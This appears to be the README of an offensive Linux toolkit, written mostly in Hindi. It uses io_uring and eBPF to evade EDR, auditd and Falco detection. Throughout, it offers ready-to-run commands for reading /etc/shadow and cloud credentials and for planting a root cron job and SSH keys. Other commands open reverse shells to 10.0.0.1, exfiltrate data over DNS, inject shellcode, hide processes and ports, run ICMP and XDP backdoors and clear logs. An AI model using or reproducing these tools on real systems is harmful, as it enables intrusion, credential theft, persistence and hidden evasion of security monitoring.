## Requirements

**Toolchain**

| tool | needed for |
|---|---|
| `gcc` | सभी यूजरस्पेस बाइनरी |
| `clang` | `ebpf/*.bpf.c` BPF-पक्ष प्रोग्राम |
| `make` | बिल्ड प्रणाली |

**Headers and libraries**

| package | needed for |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`, `<linux/io_uring.h>` और संबंधित कर्नेल हेडर |
| `libbpf-dev` | `<bpf/bpf_helpers.h>` और `ebpf/` प्रोग्रामों में उपयोग किए जाने वाले अन्य समान हेडर |
| `bpftool` | `ebpf/` के अंदर `make vmlinux` के माध्यम से `vmlinux.h` उत्पन्न करें |

डेबियन/काली/उबंटू पर:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool

पूर्ण विवरण के लिए [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/HEAD/PRIVILEGES.md) देखें।

## io_uring बायपास कवरेज

io_uring SQEs कर्नेल वर्कक्यू से होकर गुजरते हैं। `io_uring_enter(2)` कभी भी `sys_call_table` से होकर कॉल नहीं करता, कभी भी `sys_enter_*` ट्रेसपॉइंट फायर नहीं करता, और `native_sys_call` पर लाइवपैच को कभी ट्रिगर नहीं करता। यह अकेले ही बिना कुछ छुए EDR हुक्स की एक बड़ी श्रेणी को बेअसर कर देता है।

io_uring अपने आप क्या बायपास करता है:

| हुक पॉइंट | टिप्पणी |
|---|---|
| `sys_call_table` पॉइंटर रिप्लेसमेंट | io_uring कभी भी syscall टेबल से नहीं गुजरता |
| `native_sys_call` / `compat_sys_call` पर लाइवपैच | यही कारण |
| `sys_enter_*` ट्रेसपॉइंट | वर्कक्यू पाथ, कोई ट्रेसपॉइंट फायर नहीं होता |

io_uring अपने आप क्या बायपास नहीं करता (एक सक्रिय टूल की आवश्यकता होती है):

| हुक पॉइंट | टूल | टूल क्या करता है |
|---|---|---|
| `vfs_read`, `security_file_open` आदि पर kprobes | `ftrace_enum` | kprobe हुक्स को हटा देता है |
| BPF LSM / KRSI | `bpf_link_detach` | BPF लिंक को अलग कर देता है |
| Linux ऑडिट | `audit_kill` | NETLINK_AUDIT के ज़रिए auditd को अक्षम कर देता है |
| LD_PRELOAD / PLT-GOT पैच | `plt_unhook` | यूज़रलैंड हुक्स को हटा देता है |
| netfilter OUTPUT / conntrack | `af_packet_shell` | लेयर 2 पर AF_PACKET का उपयोग करता है, netfilter को छोड़ देता है |
| `inet_stream_connect` हुक्स | `udp_shell` | UDP का उपयोग करता है, tcp connect पाथ को कभी कॉल नहीं करता |

## io_uring/

`iouring_utils.h` liburing के बिना रिंग सेटअप संभालता है।

| बाइनरी | यह क्या करता है |
|---|---|
| `file_read` | io_uring के ज़रिए OPENAT+READ+CLOSE चेन, कोई sys_enter_read इवेंट नहीं |
| `file_write` | OPENAT+WRITE+CLOSE चेन |
| `file_append` | file_write जैसा ही लेकिन O_APPEND, ऑफसेट -1 |
| `net_connect` | एक ही रिंग में SOCKET+CONNECT+SEND+RECV |
| `net_reverse_shell` | io_uring CONNECT पर रिवर्स शेल |
| `multifile_read` | एक SQE बैच में 64 फाइलों तक |
| `memfd_exec` | stdin के ज़रिए ELF को memfd में स्ट्रीम करता है, /proc/self/fd के ज़रिए execve |
| `proc_inject` | /proc/PID/mem के ज़रिए JIT इंजेक्शन; ptrace इंजेक्शन (--ptrace फ्लैग) |
| `pipe_splice` | SPLICE कर्नेल-से-कर्नेल, यूज़रस्पेस हुक्स बाइट्स कभी नहीं देखते |
| `inotify_bypass_watch` | io_uring READ IN_ACCESS/IN_OPEN जनरेट नहीं करता |
| `dns_exfil` | io_uring SENDMSG पर डेटा को DNS क्वेरी लेबल के रूप में हेक्स-एनकोड करता है |
| `af_packet_send` | AF_PACKET के ज़रिए रॉ Ethernet (IORING_OP_SOCKET, inet पाथ को बायपास करता है) |
| `xdp_socket_send` | AF_XDP + UMEM रिंग के ज़रिए रॉ फ्रेम, netfilter को पूरी तरह बायपास करता है |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow

sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject          <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>

sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>

## ebpf/

इसके लिए clang + libbpf + vmlinux.h आवश्यक है। चालू कर्नेल के BTF से उत्पन्न करने के लिए `ebpf/` के अंदर `make vmlinux` चलाएँ।

| फ़ाइल | यह क्या करता है |
|---|---|
| `exec.bpf.c` | sys_enter_execve पर ट्रेसपॉइंट |
| `fentry_open.bpf.c` | sys_enter_openat पर ट्रेसपॉइंट |
| `creds.bpf.c` | क्रेडेंशियल पथों पर openat+read ट्रैक करता है |
| `keylog.bpf.c` | इनपुट इवेंट ट्रेसपॉइंट, रॉ कीकोड कैप्चर |
| `net.bpf.c` | sys_enter_connect लॉगिंग |
| `net_hide.bpf.c` | /proc/net/tcp और /proc/net/udp से पोर्ट छिपाता है |
| `proc_hide.bpf.c` | getdents64 आउटपुट से PIDs छिपाता है |
| `tty_sniff.bpf.c` | stdin/stdout/stderr राइट्स और रीड्स कैप्चर करता है |
| `skf_c2_runner.c` | क्लासिक BPF सॉकेट फ़िल्टर के माध्यम से ICMP C2 |
| `xdp_backdoor.bpf.c` + `xdp_handler.c` | मैजिक UDP पैकेट पर XDP ट्रिगर |```bash
sudo ./bpf/map_write <hidden_ports_id> 5c11 01
sudo ./bpf/map_write <hidden_pids_id> d2040000 01

sudo ./ebpf/skf_c2_runner
ping -p 4d41474900$(printf 'id' | xxd -p | tr -d '\n') -c1 <target>

sudo ./ebpf/xdp_handler <trigger_map_id> <handler_pid_map_id>
echo -n 'MAGICid' | nc -u -q1 <target> 31337

## techniques/ (Falco बायपास)

Falco के डिफ़ॉल्ट नियम-सेट (`modern_ebpf` ड्राइवर, 25 नियम) को लक्षित करता है। पहले `edrs/edr_recon` चलाएँ।

बायपास अक्ष A: इवेंट को Falco तक पहुँचने से रोकें (io_uring `sys_enter_*` को छोड़ देता है, ringbuf ड्रेन इवेंट्स को चुपचाप ड्रॉप कर देता है)।
बायपास अक्ष B: इवेंट Falco तक पहुँचता है लेकिन नियम की शर्त मेल नहीं खाती (proc.name स्पूफ़, पाथ पिवट, वैकल्पिक फ़्लैग्स)।

| उपकरण | अक्ष | Falco नियम |
|---|:---:|---|
| `uring_ops` | A | 1 2 3 7 9 10 12 13 14 15 18 21 |
| `ringbuf_overflow` | A | सभी |
| `rule_evade` | B | 3 5 6 17 |
| `kmod_unload` | A | सभी |
| `proc_ghost` | A/B | 22 23 25 |
| `exe_from_memfd_bypass` | B | 25 |
| `event_storm` | A | सभी |
| `proc_masquerade` | B | 3 4 5 8 17 |
| `ns_pivot` | B | 6 14 |
| `cgroup_escape` | A | 18 |
| `bypass_file_rules` | B | 1 2 3 9 10 11 12 13 21 |
| `bypass_proc_rules` | B | 4 6 8 15 17 18 19 20 22 23 24 |
| `per_rule_bypass` | A/B | सभी 25 |```bash
./techniques/uring_ops cat   /etc/shadow
./techniques/uring_ops creds
./techniques/uring_ops write /etc/cron.d/x "* * * * * root /tmp/sh"
./techniques/uring_ops shell 10.0.0.1 4444
./techniques/uring_ops chain /etc/shadow 10.0.0.1 9999

sudo ./techniques/ringbuf_overflow find
sudo ./techniques/ringbuf_overflow drain  <map_id>
./techniques/ringbuf_overflow  flood  16 10

./techniques/rule_evade name-spoof
./techniques/rule_evade path-pivot
./techniques/rule_evade all

sudo ./techniques/kmod_unload list
sudo ./techniques/kmod_unload unload

./techniques/proc_ghost ghost-elf /bin/ls
./techniques/proc_ghost ghost-sc  <hex>

./techniques/exe_from_memfd_bypass info
./techniques/exe_from_memfd_bypass sc   <hex>
./techniques/exe_from_memfd_bypass shm-exec <elf>
./techniques/exe_from_memfd_bypass dlopen  <so>

./techniques/event_storm mixed-storm 16 10
./techniques/event_storm snipe "cat /etc/shadow"

./techniques/proc_masquerade setname    sshd <cmd...>
./techniques/proc_masquerade fakeparent sshd <cmd...>
./techniques/proc_masquerade clone-parent sshd <cmd...>

./techniques/ns_pivot net-new
./techniques/ns_pivot userns-shell

./techniques/cgroup_escape check
./techniques/cgroup_escape proof
./techniques/cgroup_escape shell 10.0.0.1 4444

./techniques/bypass_file_rules read-masked /etc/shadow
./techniques/bypass_file_rules log-clear /var/log/auth.log
./techniques/bypass_file_rules grep-bypass /home "PRIVATE"

./techniques/bypass_proc_rules reverse-shell 10.0.0.1 4444
./techniques/bypass_proc_rules anti-debug
./techniques/bypass_proc_rules proc-inject <pid> <addr> <hex>

./techniques/per_rule_bypass list
./techniques/per_rule_bypass sensitive-read /etc/shadow
./techniques/per_rule_bypass exec-proc /tmp/elf
./techniques/per_rule_bypass clear-log /var/log/auth.log